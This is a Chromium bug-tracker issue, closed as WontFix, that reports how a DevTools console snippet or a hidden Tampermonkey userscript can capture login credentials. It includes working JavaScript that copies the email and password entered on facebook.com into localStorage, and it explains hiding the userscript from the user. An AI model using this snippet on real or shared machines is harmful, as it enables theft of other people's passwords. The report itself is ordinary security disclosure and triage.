New issue
Advanced search Search tips

Issue 816887 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Feb 2018
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: Log credentials from inputs (chrome-devtools or plugin like tampermonkey) or save in storage

Reported by radek.ro...@gmail.com, Feb 27 2018

Issue description

VULNERABILITY DETAILS
User can log password and login details from DOM inputs or save them through local storage.


VERSION
Chrome Version: 64.0.3282.167 + stable [any]
Operating System: macOS High Sierra 10.13.3 [any]

REPRODUCTION CASE
There are two ways:
A) Using Chrome-devtools:
1. e.g. go to `https://www.facebook.com/`
2. Open chrome-devtools
3. Write in console e.g. 
```
document.querySelectorAll('input[type="submit"]')[0].addEventListener('click', function() {
	localStorage.setItem(document.querySelectorAll('input[type="email"]')[0].value + '_password', document.querySelectorAll('input[type="password"]')[0].value);
})
```
4. Close chrome-devtools
5. This will save password and email on submit. As an alternative you can console that value.

expected result: Block code when chrome-devtools is off. User

B) Using e.g. Tampermonkey - more universal
1. Install tampermonkey with script from attachment.
2. You can remove tampermonkey from Chrome menu. User has no idea that script is running.
3. Credentials are saved for every page.


This can be used on computers from public places. There is no information/indicator about additional script that are running in the background. Works with HTTP/HTTPS and incognito mode. Data can be logged, store, send to external server.



 
tampermonkey.js
1.4 KB View Download
Status: WontFix (was: Unconfirmed)
This does not reflect a vulnerability in Chrome; compromised PCs are outside of web browsers' threat models.

Please see https://chromium.googlesource.com/chromium/src/+/master/docs/security/faq.md#Why-arent-compromised_infected-machines-in-Chromes-threat-model, and particularly the section starting with "There is almost nothing you can do to mitigate risks when using a public computer." in https://chromium.googlesource.com/chromium/src/+/master/docs/security/faq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model
Project Member

Comment 2 by sheriffbot@chromium.org, Jun 5 2018

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment